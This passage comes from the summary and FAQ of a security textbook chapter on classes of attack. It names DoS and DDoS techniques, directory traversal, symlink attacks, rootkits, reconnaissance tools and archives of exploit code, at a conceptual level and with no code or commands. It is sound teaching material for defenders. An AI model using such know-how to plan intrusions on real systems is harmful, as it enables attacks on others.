JavaScript bombs). Service-based network denial of service attacks are targeted at
a particular service, such as a web server. System-directed network denial of service
attacks have a similar goal to local DoS attacks; to make the system unusable.
One way to accomplish a system-directed network DoS attack is to use SYN
flooding to fill connection queues. Another is the smurf attack, which can consume
all available network bandwidth. Distributed denial of service (DDoS)
attacks are also system-directed network attacks; distributed flood programs such
as tfn and shaft can be used deny service to networks.
Information leakage is an abuse of resources that usually precludes attack.We
examined information leakage through secure shell (SSH) banners and found that
we can fingerprint services such as a Hypertext Transfer Protocol (HTTP) or File
Transfer Protocol (FTP) server using protocol specifications.The Simple Network
Management Protocol (SNMP) is an insecurely designed protocol that allows
easy access to information;Web servers can also yield information, through dotdot-
slash directory traversal attacks.We discussed a hypothetical incident where
one Internet service provider (ISP) stole the passwd file of another to steal customers,
and we dispelled any myths about information leakage by identifying a
system as properly designed when it can cloak, and even disguise, its fingerprint.
Regular file access is a means by which an attacker can gain access to sensitive
information such as usernames or passwords, as well as the ability to change
permissions or ownership on files—permissions are a commonly overlooked
security precaution.We differentiated between single-user systems without file
access control and multiuser systems with one or multiple layers of access control;
Solaris Access Control Lists (ACL) and Role-Based Access Control (RBAC) are
examples of additional layers of permissions.We discussed using symbolic link
attacks to overwrite files owned by other users.
Misinformation is defined as providing false data that may result in inadequate
concern. Standard procedures of sending misinformation include log file
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94 Chapter 3 • Classes of Attack
editing, rootkits, and kernel modules. Log file editing is a rudimentary means of
covering intrusion; the use of rootkits is a more advanced means by replacing
system programs; and kernel modules are an advanced, low-level means of compromising
system integrity at the kernel level.
Special file/database access is another means to gain access to system
resources.We discussed using special files to gain sensitive information such as
passwords. Databases are repositories of sensitive information, and may be taken
advantage of through intermediary software, such as Web interfaces, or through
software problems such as buffer overflows. Diligence is required in managing
database permissions.
Remote arbitrary code execution is a serious problem that can allow an
attacker to gain control of a system, and may be taken advantage of without the
need for authentication. Remote code execution is performed by automated
tools. Note that it is subject to the limits of the program it is exploiting.
Elevation of privileges is when a user gains access to resources not previously
authorized.We explored an attacker gaining privileges remotely as an unprivileged
user, such as through an HTTP daemon running on a UNIX system, and
as a privileged user through a service such as an SSH daemon.We also discussed
the use of Trojan programs, and social engineering by an attacker to gain privileged
access to a host, and noted that a user on a local system may be able to use
these same methods to gain elevated privileges.
Vulnerability testing is a necessary and mandatory task for anybody involved
with the administration or security of information systems. One method of
testing is called proof of concept, which is used to prove the existence of a vulnerability.
Other methods include using exploit code to take advantage of the vulnerability,
using automated security tools to test for the vulnerability, and using
versioning to discover vulnerable versions of software.
An intelligent attack uses research methods prior to an attack.Whois
databases can be used to gain more information about systems, domains, and networks.
Domain Name System (DNS) tools such as dig can be used to gather
information about hosts and the software they use, as well as nslookup to identify
mail servers in a domain.We briefly examined scanning a host with Nmap to
gather information about services available on the host and the operating system
of the host. Finally, we discussed the use of spidering a site to gather information,
such as site layout, and potentially sensitive information stored on the Web.
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Classes of Attack • Chapter 3 95
Solutions Fast Track
Identifying and Understanding the Classes of Attack
There are seven classes of attacks: denial of service (DoS), information
leakage, regular file access, misinformation, special file/database access,
remote arbitrary code execution, and elevation of privileges.
Denial of service attacks can be leveraged against a host locally or
remotely.
The gathering of intelligence through information leakage almost always
precedes attack.
Insecure directory and file permissions can allow local users to gain
access to information that may be sensitive to other users or the system.
Information on a compromised system can never be trusted and can
only again be trusted when the operating system has been restored from
a known secure medium (such as the vendor distribution medium).
Databases may be attacked either through either interfaces such as the
Web or through problems in the actual database software, such as buffer
overflows.
Many remote arbitrary code execution vulnerabilities may be mitigated
through privilege dropping, change rooting, and non-executable stack
protection.
Privilege elevation can be exploited to gain remote unprivileged user
access, remote privileged user access, or local privileged user access.
Identifying Methods of Testing for Vulnerabilities
Vulnerability testing is a necessary part of ensuring the security of a
system.
“Proof of concept” is the best means of communicating any vulnerability,
because it helps determine where the problem is, and how to
protect against it.
Exploit code is one of the most common “proof of concept” methods.
Exploit code can be found in various repositories on the Internet.
www.syngress.com
96 Chapter 3 • Classes of Attack
The use of automated security tools is common. Most security groups of
any corporation perform regularly scheduled vulnerability audits using
automated security tools.
Versioning can allow a busy security department to assess the impact of a
reported vulnerability against currently deployed systems.
Information from Whois databases can be used to devise an attack
against systems or to get contact information for administrative staff
when an attack has occurred.
Domain Name System (DNS) information can yield information about
network design.
Web spidering can be used to gather information about directory
structure or sensitive files.
Q: Can an attack be a member of more than one attack class?
A: Yes. Some attacks may fall into a number of attack classes, such as a denial of
service that stems from a service crashing from invalid input.
Q: Where can I read more about preventing DDoS attacks?
A: Dave Dittrich has numerous papers available on this topics available on his
Web site www.washington.edu/People/dad.
Q: How can I prevent information leakage?
A: A number of papers are available on this topic. Some types of leakage may be
prevented by the alteration of things such as banners or default error messages.
Other types of leakage, such as protocol-based leakage, will be stopped
only by rewrite of the programs and the changing of standards.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
Classes of Attack • Chapter 3 97
Q: Is preventing information leakage “security through obscurity?”
A: Absolutely not.There is no logical reason for communicating credentials of a
software package to users that should not be concerned with it. Stopping the
flow of information makes it that much more resource-intensive for an
attacker and increases the chances of the attacks being discovered.
Q: Where can I get exploit code?
A: Through full disclosure mailing lists such as Bugtraq
(www.securityfocus.com) or through exploit archives such as
PacketStorm (www.packetstormsecurity.org) or Church of the
Swimming Elephant (www.cotse.com).
Q: How can I protect my Whois information?
A: Currently, there is little that you can do.You can always lie when you register
your domain, but you might have problems later when you need to renew.
Also, should you ever get into a domain dispute, having false registration
information won’t be likely to help your case.
Q: Can other information be gained through DNS digging?
A: Yes. Misconfigured name servers may allow zone transfers to arbitrary hosts,
which could yield information about network design.
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